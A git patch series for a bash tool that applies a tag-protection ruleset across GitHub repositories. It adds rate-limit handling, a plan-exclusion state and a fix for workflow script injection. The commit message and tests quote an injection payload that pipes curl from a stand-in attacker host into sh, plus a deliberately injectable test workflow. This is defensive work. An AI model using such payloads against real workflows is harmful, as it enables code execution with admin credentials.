NOT NAME: the applier must never classify a live ruleset by its +# `name`, and must strip `name` from a PUT body — GitHub keeps whatever name +# an existing ruleset has, so sending one silently renames it. Measured: +# 372 repos named `Immutable-Tags` were blocked, 26 with that same name were +# not, and 2 named `Immutable Tags` were healthy. The name classifies +# nothing. +# 4. TWO-STEP READ: the applier must GET each ruleset by id. The LIST endpoint +# omits `conditions`, `rules` and `bypass_actors`, so filtering the list +# matches nothing (0 of 178 live repos) and every PUT silently becomes a +# POST, recreating the duplicate-ruleset outage. +# 5. NO SILENT WEAKER FALLBACK: the applier must not carry a second, admin-only +# canon body to fall back on when an App is not installed. One body +# everywhere is the decision; a fallback re-creates a two-variant estate. +# 6. FAIL CLOSED ON DUPLICATES: rulesets are ADDITIVE, so a zero-bypass rival +# blocks tags even beside a healthy sibling. The applier must refuse a repo +# carrying two rather than guessing. +# 7. WRITES ARE OPT-IN: the applier reports unless `--apply` is passed. +# 8. CREDENTIAL IS ASSERTED: an absent secret resolves to an empty string in +# silence; the applier must exit non-zero before enumerating anything. +# 9. BOTH OWNERS ENUMERATED: `user/repos?affiliation=owner` returns ZERO +# organisation repositories. metadatastician is an organisation, and a +# census from the user endpoint alone silently missed 212 live repos. +set -uo pipefail +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +CANON="$ROOT/config/rulesets/immutable-tags.json" +APPLIER="$ROOT/scripts/apply-tag-ruleset-canon.sh" +RULESET_DIR="$ROOT/config/rulesets" +pass=0; fail=0 +ok() { echo "PASS: $1"; pass=$((pass+1)); } +bad() { echo "FAIL: $1"; fail=$((fail+1)); } + +command -v jq >/dev/null || { echo "FAIL: jq is required by this test"; exit 1; } +[ -f "$CANON" ] || { echo "FAIL: canon missing: config/rulesets/immutable-tags.json"; exit 1; } +[ -f "$APPLIER" ] || { echo "FAIL: applier missing: scripts/apply-tag-ruleset-canon.sh"; exit 1; } + +# --- 1. canon is usable ----------------------------------------------------- +jq -e '.target == "tag"' "$CANON" >/dev/null 2>&1 \ + && ok "canon targets tag" || bad "canon .target is not \"tag\"" +jq -e '.conditions.ref_name.include == ["~ALL"]' "$CANON" >/dev/null 2>&1 \ + && ok "canon include is exactly [\"~ALL\"]" \ + || bad "canon include is not exactly [\"~ALL\"] — the identity rule would not match it" +if jq -e '[.rules[].type] | index("creation")' "$CANON" >/dev/null 2>&1; then + if jq -e '(.bypass_actors | length) >= 1' "$CANON" >/dev/null 2>&1; then + ok "canon restricts creation AND keeps $(jq '.bypass_actors|length' "$CANON") bypass actor(s)" + else + bad "canon has a creation rule and ZERO bypass actors — this is the 2026-09-11 outage body, not a stricter policy" + fi +else + bad "canon has no creation rule; immutable tags are not immutable" +fi +jq -e '.enforcement == "active"' "$CANON" >/dev/null 2>&1 \ + && ok "canon enforcement is active" || bad "canon is not actively enforced" + +# --- 2. no case-colliding tag-~ALL sibling ---------------------------------- +tagfiles=() +for f in "$RULESET_DIR"/*.json; do + [ -e "$f" ] || continue + if jq -e '.target == "tag" and (.conditions.ref_name.include == ["~ALL"])' "$f" >/dev/null 2>&1; then + tagfiles+=("$(basename "$f")") + fi +done +if [ "${#tagfiles[@]}" -eq 1 ]; then + ok "exactly one tag/~ALL ruleset file: ${tagfiles[0]}" +else + bad "${#tagfiles[@]} tag/~ALL ruleset files (${tagfiles[*]-none}) — a case-collision here deployed the wrong body for four days" +fi + +# --- 3..9. applier guards --------------------------------------------------- +grep -q 'del(.name)' "$APPLIER" \ + && ok "applier strips name from the PUT body" \ + || bad "applier does not del(.name) — a PUT carrying name silently RENAMES the live ruleset" +if grep -qE 'select\([^)]*\.name *==' "$APPLIER"; then + bad "applier selects a live ruleset by .name — the name classifies nothing" +else + ok "applier never selects a live ruleset by .name" +fi +# The read must be a GET, and it must be the payload that gets CLASSIFIED. +# Do NOT relax this to a bare 'rulesets/$id' match: a PUT and a DELETE also +# address a ruleset by id, so such a grep is satisfied by a WRITE and stays +# green while the classification loop reads the shapeless LIST summary. That +# exact inert assertion was caught by mutation testing on 2026-09-15. +loop_get=$(grep -cE 'gh api "repos/\$repo/rulesets/\$\{?id\}?"' "$APPLIER" || true) +if [ "$loop_get" -ge 1 ]; then + ok "applier GETs each ruleset by id in the classification loop (two-step read)" +else + bad "applier never GETs an individual ruleset per repo — the LIST endpoint omits conditions/rules/bypass_actors, so filtering the list matches NOTHING (0 of 178 measured)" +fi +# Inverse limb: the LIST payload must never be the thing whose shape is read. +list_var=$(grep -oE '^[[:space:]]*[a-z_]+=\$\(gh api "repos/\$repo/rulesets\?' "$APPLIER" \ + | grep -oE '[a-z_]+=' | head -1 | tr -d '=') +if [ -z "$list_var" ]; then + bad "cannot locate the ruleset LIST call — the two-step inverse check cannot run" +elif grep -qE "\\\$$list_var\"?\)?[[:space:]]*\\|[[:space:]]*jq[^|]*(bypass_actors|\\.rules|conditions)" "$APPLIER" \ + || grep -qE "^[[:space:]]*d=\"?\\\$$list_var" "$APPLIER"; then + bad "applier reads the shape (conditions/rules/bypass_actors) out of the LIST payload \$$list_var — that summary omits all three" +else + ok "the LIST payload ($list_var) is used only to enumerate ids, never for the shape" +fi +# Check CODE, not prose: every ruleset body the applier sends must derive from +# the canon FILE, so there can be no second, weaker body to fall back on. A +# comment explaining why there is no fallback must not trip this. +bodies_from_canon=$(grep -cE '^CANON_(PUT|POST)=\$\(jq .*"\$CANON_FILE"' "$APPLIER" || true) +inline_bodies=$(grep -nE 'gh api --method (PUT|POST) "repos/[^"]*/rulesets' "$APPLIER" \ + | grep -vE '\$CANON_(PUT|POST)' | grep -vc 'probe_' || true) +if [ "$bodies_from_canon" -eq 2 ] && [ "$inline_bodies" -eq 0 ]; then + ok "every ruleset body derives from the canon file; no second/weaker body exists" +else + bad "applier sends a ruleset body not derived from the canon file (from_canon=$bodies_from_canon inline=$inline_bodies) — a fallback body re-creates a two-variant estate" +fi +# 8b. The gate must accept either credential source, and neither must pass. +if grep -qE 'gh auth status' "$APPLIER" && grep -qE '\$\{GH_TOKEN:-\}' "$APPLIER"; then + ok "credential gate accepts an explicit token OR an authenticated CLI" +else + bad "credential gate accepts only one credential source — an applier that cannot be run by hand is an applier that never runs" +fi +# Scope this to the GATE BLOCK. A bare grep for 'exit 3' anywhere in the file is +# satisfied by the probe's own exit and stays green while the gate is gutted -- +# caught by mutation testing on 2026-09-15, the same inert-assertion class as the +# two-step check above. +gate_block=$(awk '/^if \[ -n "\$\{GH_TOKEN:-\}" \]; then/{f=1} f{print} f&&/^fi$/{exit}' "$APPLIER") +if printf '%s' "$gate_block" | grep -qE '^[[:space:]]*exit 3[[:space:]]*$'; then + ok "the credential gate itself exits non-zero when neither credential exists" +else + bad "the credential gate does not exit inside its own else branch — an absent secret resolves to an empty string in silence and the sweep writes nothing while reporting success" +fi +grep -q 'DUPLICATE-FAIL-CLOSED' "$APPLIER" \ + && ok "applier fails closed on a repo carrying two matching tag rulesets" \ + || bad "applier does not fail closed on duplicates — rulesets are additive, so a rival blocks despite a healthy sibling" +grep -q 'APPLY=0' "$APPLIER" \ + && ok "applier defaults to report-only; writes need --apply" \ + || bad "applier does not default to report-only" +grep -q 'exit 3' "$APPLIER" && grep -q 'GH_TOKEN' "$APPLIER" \ + && ok "applier asserts a credential and exits 3 when absent" \ + || bad "applier does not fail on an absent credential — an empty secret would report a clean sweep over nothing" +grep -q 'orgs/\$org/repos' "$APPLIER" && grep -q 'user/repos?affiliation=owner' "$APPLIER" \ + && ok "applier unions the user listing with an org listing" \ + || bad "applier does not enumerate both owners — the user endpoint returns ZERO org repos" +bash -n "$APPLIER" 2>/dev/null \ + && ok "applier parses" || bad "applier is not valid bash" +[ -x "$APPLIER" ] \ + && ok "applier is executable" || bad "applier is not executable" + +echo "---" +echo "passed=$pass failed=$fail" +[ "$fail" -eq 0 ] From 92ca0605a3fdaa8a94c9b418a9ee4f9db23bca08 Mon Sep 17 00:00:00 2001 From: hyperpolymath <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 15 Sep 2026 04:12:16 +0100 Subject: [PATCH 2/4] fix(rulesets): a plan ceiling is not drift, and a rate limit is not a missing token Two defects found by running the applier against live GitHub rather than reading it. 1. PLAN-EXCLUDED. Rulesets are a paid feature on a PRIVATE repository: a free-plan owner gets 403 "Upgrade to GitHub Pro or make this repository public" even when permissions.admin is true. Measured over all 51 private repos in the estate -- 46/46 hyperpolymath -> 200, 5/5 metadatastician -> 403 -- and confirmed from the org itself (orgs/metadatastician .plan.name == "free"). The boundary is the OWNER'S PLAN, not the repository, so permissions.admin does not predict it. The applier booked those five as FAILED and bumped rc. That would leave the weekly scheduled run PERMANENTLY red after all 434 other repos converged, because no credential, no App installation and no retry can lift a plan ceiling. A fail-loud signal that can never go quiet is noise inside a month. They now get their own terminal state, are counted, do NOT move rc, and the summary prints the three remedies only the owner can choose between. 2. The credential gate branched on `gh auth status`, which answers a different question than the consumer asks. Measured 2026-09-15 03:09Z: while this account was merely RATE-LIMITED, `gh auth status` reported "The token in ~/.config/gh/hosts.yml is invalid" and told the operator to re-authenticate. The token was valid. The old gate therefore aborted with a FALSE "no credential" FATAL whose obvious remedy -- `gh auth login` -- destroys a working credential to cure a condition that clears itself at the next reset. The gate now classifies three ways on the RESPONSE BODY, never on gh's verdict: authenticated / rate-limited-but-authenticated (new exit 5, naming the reset time and warning explicitly against re-authenticating) / genuinely uncredentialled (exit 3). Verified live under the real rate-limited condition. `gh api rate_limit` is no help here either: it is exempt from the limit and answered remaining=4999 while every other read 403'd. The recorded write-readiness trap applies to reads too. Tests: 21 -> 24 assertions over 12 properties. Seven mutants run against the two new properties, all seven killed -- including the two subtle ones (right state but still bumps rc; and reintroducing `gh auth status` as the branch condition). Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_014QN8x5x4kNKY8EYCFsCmWB --- scripts/apply-tag-ruleset-canon.sh | 77 ++++++++++++++++++++++++++---- tests/test_tag_ruleset_canon.sh | 61 ++++++++++++++++++++++- 2 files changed, 129 insertions(+), 9 deletions(-) diff --git a/scripts/apply-tag-ruleset-canon.sh b/scripts/apply-tag-ruleset-canon.sh index 1409e4e19..f2f9c58b6 100755 --- a/scripts/apply-tag-ruleset-canon.sh +++ b/scripts/apply-tag-ruleset-canon.sh @@ -131,12 +131,37 @@ note "canon: actors=[$CANON_ACTORS] rules=[$CANON_RULES]" # up never being run at all. Requiring NEITHER is the defect: an absent secret # resolves to an empty string in silence and the sweep writes nothing while # reporting success. +# A credential probe must answer the question its CONSUMER asks -- "can I make +# authenticated API calls?" -- and `gh auth status` does NOT. MEASURED 2026-09-15 +# 03:09Z: while this account was merely RATE-LIMITED, `gh auth status` reported +# "X Failed to log in ... The token in ~/.config/gh/hosts.yml is invalid." +# and told the operator to re-authenticate. The token was perfectly valid. Trusting +# that verdict makes this script abort with a FATAL that is FALSE, and sends the +# operator to `gh auth login`, destroying a working credential to cure a condition +# that clears itself on the next reset. (`gh api rate_limit` is no help either: it +# is exempt from the limit and answered remaining=4999 while every other read 403'd.) +# So classify the probe THREE ways, on the response body, never on gh's own verdict: +# authenticated / rate-limited-but-authenticated / genuinely-uncredentialled. if [ -n "${GH_TOKEN:-}" ]; then note "credential: GH_TOKEN from the environment" -elif gh auth status >/dev/null 2>&1; then - note "credential: the authenticated gh CLI (no GH_TOKEN in the environment)" else - cat >&2 <<'NOCRED' + cred_probe=$(gh api user --jq '.login' 2>&1) || cred_probe_failed=1 + if [ "${cred_probe_failed:-0}" -eq 0 ] && [ -n "$cred_probe" ]; then + note "credential: the authenticated gh CLI as '$cred_probe' (no GH_TOKEN in the environment)" + elif printf '%s' "$cred_probe" | grep -qi 'rate limit exceeded'; then + reset_at=$(gh api rate_limit --jq '.resources.core.reset|todate' 2>/dev/null || echo "unknown") + cat >&2 <&2 <<'NOCRED' FATAL: no credential. Rulesets need administration:write on every target repo. Neither GH_TOKEN is set nor is the gh CLI authenticated. A workflow GITHUB_TOKEN is repo-scoped and cannot write rulesets at all. Refusing to run a sweep that @@ -144,12 +169,13 @@ would silently write nothing. in CI : supply GH_TOKEN from actions/create-github-app-token by hand : gh auth login --insecure-storage NOCRED - exit 3 + exit 3 + fi fi probe_repo="${GITHUB_REPOSITORY:-hyperpolymath/standards}" -probe_body=$(mktemp); probe_out=$(mktemp) -trap 'rm -f "$probe_body" "$probe_out"' EXIT +probe_body=$(mktemp); probe_out=$(mktemp); api_err=$(mktemp) +trap 'rm -f "$probe_body" "$probe_out" "$api_err"' EXIT # Idempotent self-write: PUT this repository's own matching tag ruleset back # with the bytes it already has. Succeeds iff the credential holds @@ -239,8 +265,30 @@ verify_tag_ref() { while read -r repo; do [ -n "$repo" ] || continue - rs=$(gh api "repos/$repo/rulesets?per_page=100" --paginate 2>/dev/null) || { - report "$repo" "FAILED" "cannot list rulesets"; rc=2; continue; } + # A list failure has TWO causes with OPPOSITE dispositions, and conflating them + # makes this whole report untrustworthy. A free-plan owner's PRIVATE repo answers + # 403 {"message":"Upgrade to GitHub Pro or make this repository public ..."} + # even when permissions.admin is true. MEASURED 2026-09-15 over all 51 private + # repos in the estate: 46/46 hyperpolymath -> 200, 5/5 metadatastician -> 403, + # cause confirmed from the org itself (orgs/metadatastician .plan.name == "free"). + # The boundary is the OWNER'S PLAN, not the repository, so permissions.admin is + # NOT a predictor. It is a PLAN CEILING, not a fault: no credential, no App + # installation and no retry can lift it -- only a paid plan or making the repo + # public. Reporting it as FAILED with rc=2 would leave the weekly workflow + # PERMANENTLY red after every other repo converged, and a fail-loud signal that + # can never go quiet is indistinguishable from noise inside a month. So it gets + # its own terminal state, it is counted, and it does NOT move rc. + if ! rs=$(gh api "repos/$repo/rulesets?per_page=100" --paginate 2>"$api_err"); then + if grep -q 'Upgrade to GitHub Pro' "$api_err"; then + report "$repo" "PLAN-EXCLUDED" \ + "rulesets are unavailable on a private repo of a free-plan owner; not a fault and not retryable" + else + report "$repo" "FAILED" \ + "cannot list rulesets: $(tr '\n' ' ' < "$api_err" | head -c 160)" + rc=2 + fi + continue + fi # MUST be two-step. DO NOT "optimise" this into a single filtered list call. # The rulesets LIST endpoint returns a summary that omits `conditions`, @@ -392,6 +440,19 @@ elif [ "$VERIFY" -eq 0 ]; then note "verification SKIPPED by --no-verify: no repo in this run is scored on a real tag ref" fi +if [ "${COUNT[PLAN-EXCLUDED]:-0}" -gt 0 ]; then + cat >&2 <&2 for k in "${!COUNT[@]}"; do printf ' %5d %s\n' "${COUNT[$k]}" "$k" >&2; done rm -f "$repos_file" diff --git a/tests/test_tag_ruleset_canon.sh b/tests/test_tag_ruleset_canon.sh index bef641d57..7633a79ac 100755 --- a/tests/test_tag_ruleset_canon.sh +++ b/tests/test_tag_ruleset_canon.sh @@ -107,7 +107,7 @@ else bad "applier never GETs an individual ruleset per repo — the LIST endpoint omits conditions/rules/bypass_actors, so filtering the list matches NOTHING (0 of 178 measured)" fi # Inverse limb: the LIST payload must never be the thing whose shape is read. -list_var=$(grep -oE '^[[:space:]]*[a-z_]+=\$\(gh api "repos/\$repo/rulesets\?' "$APPLIER" \ +list_var=$(grep -oE '[a-z_]+=\$\(gh api "repos/\$repo/rulesets\?' "$APPLIER" \ | grep -oE '[a-z_]+=' | head -1 | tr -d '=') if [ -z "$list_var" ]; then bad "cannot locate the ruleset LIST call — the two-step inverse check cannot run" @@ -138,6 +138,7 @@ fi # satisfied by the probe's own exit and stays green while the gate is gutted -- # caught by mutation testing on 2026-09-15, the same inert-assertion class as the # two-step check above. +GATE_SRC="$APPLIER" gate_block=$(awk '/^if \[ -n "\$\{GH_TOKEN:-\}" \]; then/{f=1} f{print} f&&/^fi$/{exit}' "$APPLIER") if printf '%s' "$gate_block" | grep -qE '^[[:space:]]*exit 3[[:space:]]*$'; then ok "the credential gate itself exits non-zero when neither credential exists" @@ -161,6 +162,64 @@ bash -n "$APPLIER" 2>/dev/null \ [ -x "$APPLIER" ] \ && ok "applier is executable" || bad "applier is not executable" +# --- Property 11: a free-plan 403 is a PLAN CEILING, never a retryable failure ---- +# Rulesets are a paid feature on a PRIVATE repo, so a free-plan owner answers 403 +# "Upgrade to GitHub Pro or make this repository public" even with admin rights -- +# measured 5/5 on metadatastician's private repos, 46/46 OK on hyperpolymath's. +# No credential, no App install and no retry lifts it. If the applier books those +# as FAILED and bumps rc, this workflow stays red FOREVER after everything else +# converges, and a fail-loud signal that can never go quiet becomes noise. +# Anchor on the DISTINCT STATE and on the ABSENCE of an rc bump in that arm -- +# not on the mere presence of the 403 string, which a log line would also satisfy. +plan_arm=$(awk "/Upgrade to GitHub Pro. \"\\\$api_err\"/,/^ fi\$/" "$APPLIER") +if [ -z "$plan_arm" ]; then + plan_arm=$(awk '/if grep -q .Upgrade to GitHub Pro./{f=1} f{print} f&&/^ fi$/{exit}' "$APPLIER") +fi +if printf '%s' "$plan_arm" | grep -q 'PLAN-EXCLUDED'; then + ok "a free-plan 403 gets its own terminal state, distinct from FAILED" +else + bad "a free-plan 403 is not distinguished from a real fault — 5 permanently-unfixable repos would look like 5 transient retryables forever" +fi +# Inverse limb: the PLAN-EXCLUDED arm must NOT set rc. If it does, the weekly run +# can never go green no matter how many repos converge. +if printf '%s' "$plan_arm" | awk '/PLAN-EXCLUDED/,/^ else$/' | grep -q 'rc=2'; then + bad "the PLAN-EXCLUDED arm bumps rc — the scheduled run would be permanently red on repos that CANNOT be fixed" +else + ok "the PLAN-EXCLUDED arm leaves rc alone (a plan ceiling is not drift)" +fi +# And a genuine, non-plan list failure must STILL be a hard failure. +if printf '%s' "$plan_arm" | awk '/^ else$/,/^ fi$/' | grep -q 'rc=2'; then + ok "a non-plan list failure still bumps rc (real faults stay loud)" +else + bad "a real list failure no longer bumps rc — the plan carve-out swallowed genuine faults too" +fi + +# --- Property 12: the credential probe must not confuse EXHAUSTED with ABSENT ---- +# MEASURED 2026-09-15 03:09Z: `gh auth status` reported "The token ... is invalid" +# while the account was merely RATE-LIMITED and the token was perfectly good. A gate +# that trusts that verdict aborts with a FALSE "no credential" and sends the operator +# to `gh auth login`, destroying a working credential to cure a condition that clears +# itself. So the gate must classify THREE ways and must NOT use `gh auth status` as +# the authority. Anchored on the distinct arm and its distinct exit code. +if grep -q 'rate limit exceeded' "$GATE_SRC" && printf '%s' "$gate_block" | grep -qE '^[[:space:]]*exit 5[[:space:]]*$'; then + ok "the gate distinguishes an EXHAUSTED rate limit from an ABSENT credential (own exit code)" +else + bad "the gate cannot tell a rate-limited account from an uncredentialled one — it would print a FALSE 'no credential' FATAL and tell the operator to re-auth, throwing away a working token" +fi +# Inverse limb: `gh auth status` must not be the thing the gate branches on. +if printf '%s' "$gate_block" | grep -qE '(if|elif)[^#]*gh auth status'; then + bad "the gate branches on 'gh auth status', which MISREPORTS a rate-limited account as holding an invalid token" +else + ok "the gate does not branch on 'gh auth status' (it answers a different question than the consumer asks)" +fi +# And the rate-limit arm must tell the operator NOT to re-authenticate, because the +# obvious remedy is the destructive one. +if printf '%s' "$gate_block" | grep -qi "DO NOT run 'gh auth login'"; then + ok "the rate-limit arm warns against the destructive remedy" +else + bad "the rate-limit arm does not warn against 'gh auth login' — the operator's obvious next move destroys a valid credential" +fi + echo "---" echo "passed=$pass failed=$fail" [ "$fail" -eq 0 ] From 910af27c96330dd6f93568515c56b98728e7ef28 Mon Sep 17 00:00:00 2001 From: hyperpolymath <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 15 Sep 2026 04:17:27 +0100 Subject: [PATCH 3/4] =?UTF-8?q?docs(rulesets):=20record=20R-14=20=E2=80=94?= =?UTF-8?q?=20the=20applier=20credential=20is=20NOT=20the=20bypass=20actor?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Owner ruling R-14 (2026-09-15): vars.APP_ID / secrets.APP_PRIVATE_KEY must hold a DEDICATED App for this applier, explicitly not OikosBot. Separation of duties, not style. The canon body names `Integration:2538504` as a BYPASS ACTOR -- confirmed OikosBot (GET /apps/oikosbot -> id 2538504) -- which is who may bypass the tag rule. Authenticating this workflow as that same identity would make the thing enforcing the rule permanently exempt from it. Two different identities; neither substitutes for the other. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_014QN8x5x4kNKY8EYCFsCmWB --- .github/workflows/tag-ruleset-canon.yml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/.github/workflows/tag-ruleset-canon.yml b/.github/workflows/tag-ruleset-canon.yml index 1a312a09f..c1bb17df1 100644 --- a/.github/workflows/tag-ruleset-canon.yml +++ b/.github/workflows/tag-ruleset-canon.yml @@ -43,6 +43,17 @@ jobs: steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + # WHICH App's credentials belong in vars.APP_ID / secrets.APP_PRIVATE_KEY: + # a DEDICATED App for this applier -- explicitly NOT OikosBot. Owner ruling + # R-14 (2026-09-15). The reason is separation of duties, not style. The canon + # body names `Integration:2538504` -- confirmed OikosBot, GET /apps/oikosbot + # -> id 2538504 -- as a BYPASS ACTOR: that is who may bypass the tag rule. + # If this workflow authenticated AS that same identity, the thing enforcing + # the rule would be permanently exempt from it. The bypass actor and the + # applier credential are two different identities; neither substitutes for + # the other. The dedicated App needs `administration: write` and must be + # installed on BOTH owners (hyperpolymath and metadatastician). + # An App installation token is scoped to ONE owner and carries its own # rate limit, so it is preferred over a PAT shared with everything else. # `owner:` is required: without it the token is scoped to THIS repository From 5bcd774262c9fedda053a176392354d22e744ae6 Mon Sep 17 00:00:00 2001 From: hyperpolymath <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 15 Sep 2026 04:36:21 +0100 Subject: [PATCH 4/4] fix(security): take workflow inputs through env:, never into a run: body MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit SonarCloud failed this PR on the one condition that belonged to this branch: "E Security Rating on New Code". It was right. Three run: bodies interpolated ${{ inputs.* }} and ${{ steps.*.outputs.rc }} directly into shell text. GitHub evaluates an expression and splices the RESULT into the script before bash parses it, so a workflow_dispatch with limit = 0"; curl attacker.example/x | sh; # executes arbitrary code in a job that holds a GitHub App installation token with administration:write over all 439 repositories in the estate. That is CWE-94, and this is the highest-value target in the estate to own. Every input now arrives through env:, where it is data in a variable that bash never re-parses as syntax. Prevention, not just repair — test property 13 (3 assertions): * no GitHub expression appears inside any run: body of the applier workflow * a POSITIVE CONTROL: the same scanner is fed a deliberately injectable workflow and must flag it, so a clean result means something * each IN_* input is still both declared in env: and read in a run body, so the fix cannot silently degrade into deleting the feature Three mutants, three kills: reintroducing the injection turns 13a red, blinding the scanner turns the control red, deleting IN_LIMIT turns the plumbing check red. Suite: 24 -> 27 assertions, 27/0. Also verified this round, by running rather than reading: * registry drift ("REGISTRY.a2ml is stale") reproduces at the PR BASE 317101e0 as well as on this head, so it is pre-existing and not from here * the committed applier at 910af27c over all 439 repos: 416 WOULD-PUT, 8 WOULD-CREATE, 7 CONVERGED, 5 PLAN-EXCLUDED, 2 DUPLICATE-FAIL-CLOSED, 1 SKIP-BYPASS-SUPERSET, zero FAILED. The 5 PLAN-EXCLUDED were FAILED before 92ca060; that is the plan-ceiling fix working on live data. * set -e does NOT abort on a failing `[ ... ] && ...` list (measured), so the existing arg-building idiom was not a second bug Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_014QN8x5x4kNKY8EYCFsCmWB --- .github/workflows/tag-ruleset-canon.yml | 31 +++++++++--- tests/test_tag_ruleset_canon.sh | 67 +++++++++++++++++++++++++ 2 files changed, 92 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tag-ruleset-canon.yml b/.github/workflows/tag-ruleset-canon.yml index c1bb17df1..ef72ae375 100644 --- a/.github/workflows/tag-ruleset-canon.yml +++ b/.github/workflows/tag-ruleset-canon.yml @@ -115,12 +115,22 @@ jobs: env: GH_TOKEN: ${{ steps.tok-user.outputs.token || secrets.ESTATE_ADMIN_TOKEN }} ESTATE_ORGS: '' + # A workflow input NEVER appears in a `run:` body. GitHub evaluates + # a GitHub expression and splices the RESULT into the script text before bash + # parses it, so a dispatch with limit = `0"; curl evil | sh; #` runs + # arbitrary code with the App installation token in the environment. + # That is CWE-94 script injection; SonarCloud rated it E on new code + # and was right. Passed through `env:` the value arrives as DATA in a + # variable, and bash never re-parses it as syntax. + IN_APPLY: ${{ inputs.apply || false }} + IN_RECONCILE: ${{ inputs.reconcile_duplicates || false }} + IN_LIMIT: ${{ inputs.limit || '0' }} run: | set -euo pipefail args=() - [ "${{ inputs.apply || false }}" = "true" ] && args+=(--apply) - [ "${{ inputs.reconcile_duplicates || false }}" = "true" ] && args+=(--reconcile-duplicates) - [ "${{ inputs.limit || '0' }}" != "0" ] && args+=(--limit "${{ inputs.limit }}") + [ "$IN_APPLY" = "true" ] && args+=(--apply) + [ "$IN_RECONCILE" = "true" ] && args+=(--reconcile-duplicates) + [ "$IN_LIMIT" != "0" ] && args+=(--limit "$IN_LIMIT") rc=0 ./scripts/apply-tag-ruleset-canon.sh "${args[@]+"${args[@]}"}" \ | tee canon-user.tsv || rc=$? @@ -135,11 +145,14 @@ jobs: env: GH_TOKEN: ${{ steps.tok-org.outputs.token || secrets.ESTATE_ADMIN_TOKEN }} ESTATE_ORGS: 'metadatastician' + # Same reason as the step above: inputs reach bash as data, not syntax. + IN_APPLY: ${{ inputs.apply || false }} + IN_RECONCILE: ${{ inputs.reconcile_duplicates || false }} run: | set -euo pipefail args=(--skip-user) - [ "${{ inputs.apply || false }}" = "true" ] && args+=(--apply) - [ "${{ inputs.reconcile_duplicates || false }}" = "true" ] && args+=(--reconcile-duplicates) + [ "$IN_APPLY" = "true" ] && args+=(--apply) + [ "$IN_RECONCILE" = "true" ] && args+=(--reconcile-duplicates) rc=0 ./scripts/apply-tag-ruleset-canon.sh "${args[@]}" \ | tee canon-org.tsv || rc=$? @@ -158,9 +171,15 @@ jobs: # is not installed on an owner -- only the owner can fix that. - name: Fail while drift remains if: always() + env: + # A step output is attacker-influenced too once any earlier step echoes + # untrusted text into GITHUB_OUTPUT, and a single quote in the value + # would break out of the '...' this used to sit in. Read it as data. + RC_USER: ${{ steps.user.outputs.rc }} + RC_ORG: ${{ steps.org.outputs.rc }} run: | set -euo pipefail - u='${{ steps.user.outputs.rc }}'; o='${{ steps.org.outputs.rc }}' + u="$RC_USER"; o="$RC_ORG" echo "hyperpolymath rc=${u:-unrun} metadatastician rc=${o:-unrun}" for f in canon-user.tsv canon-org.tsv; do [ -f "$f" ] || continue diff --git a/tests/test_tag_ruleset_canon.sh b/tests/test_tag_ruleset_canon.sh index 7633a79ac..14dbd1279 100755 --- a/tests/test_tag_ruleset_canon.sh +++ b/tests/test_tag_ruleset_canon.sh @@ -220,6 +220,73 @@ else bad "the rate-limit arm does not warn against 'gh auth login' — the operator's obvious next move destroys a valid credential" fi + +# --------------------------------------------------------------------------- +# 13. NO EXPRESSION IN A `run:` BODY. GitHub evaluates a ${ {…} } expression and +# splices the RESULT into the script text before bash ever parses it, so an +# input pasted into a run body is CWE-94 script injection: a dispatch with +# limit = `0"; curl evil | sh; #` executes arbitrary code in a job holding a +# GitHub App installation token with administration:write over 439 repos. +# MEASURED: the first version of this workflow did exactly that on three +# steps, and SonarCloud failed the PR with "E Security Rating on New Code" — +# the only required context that was red for a reason belonging to this +# branch. Inputs must arrive through `env:`, where they are data. +WF="$ROOT/.github/workflows/tag-ruleset-canon.yml" +# shellcheck disable=SC2016 +scan_run_bodies() { + awk ' + /^ *run: *\|/ { match($0, /^ */); ind = RLENGTH; inrun = 1; next } + inrun { + if ($0 ~ /^[[:space:]]*$/) next + match($0, /^ */); cur = RLENGTH + if (cur <= ind) { inrun = 0; next } + if (index($0, "${{")) print FILENAME ":" NR ": " $0 + } + ' "$1" +} +if [ ! -f "$WF" ]; then + bad "the applier workflow is missing — the injection guard cannot run" +else + hits=$(scan_run_bodies "$WF") + if [ -z "$hits" ]; then + ok "no GitHub expression is interpolated into any run: body (no script injection)" + else + bad "a GitHub expression is spliced into a run: body — CWE-94 script injection in a job holding administration:write: $(printf '%s' "$hits" | head -3 | tr '\n' ' ')" + fi + + # POSITIVE CONTROL. An assertion that only ever reports "clean" is worthless + # unless it has been shown to go red. Feed the same scanner a workflow that + # IS injectable and require a hit; otherwise the green above proves nothing. + ctl=$(mktemp) + cat > "$ctl" <<'CTL' +jobs: + x: + steps: + - name: injectable + run: | + echo "LIMIT=${{ inputs.limit }}" +CTL + if [ -n "$(scan_run_bodies "$ctl")" ]; then + ok "the injection scanner detects a known-bad workflow (positive control)" + else + bad "the injection scanner does NOT flag a deliberately injectable run body — the clean result above is meaningless" + fi + rm -f "$ctl" + + # The fix must not have been a feature deletion: every input still has to reach + # the script. Each IN_* name must be BOTH declared in an env: block and read in + # a run body, or the flag it controls has silently stopped working. + missing="" + for v in IN_APPLY IN_RECONCILE IN_LIMIT; do + grep -q "^ *$v: " "$WF" || missing="$missing $v(env)" + grep -q "\$$v" "$WF" || missing="$missing $v(use)" + done + if [ -z "$missing" ]; then + ok "each workflow input still reaches the applier through an env: variable" + else + bad "the injection fix dropped an input instead of rerouting it:$missing" + fi +fi echo "---" echo "passed=$pass failed=$fail" [ "$fail" -eq 0 ]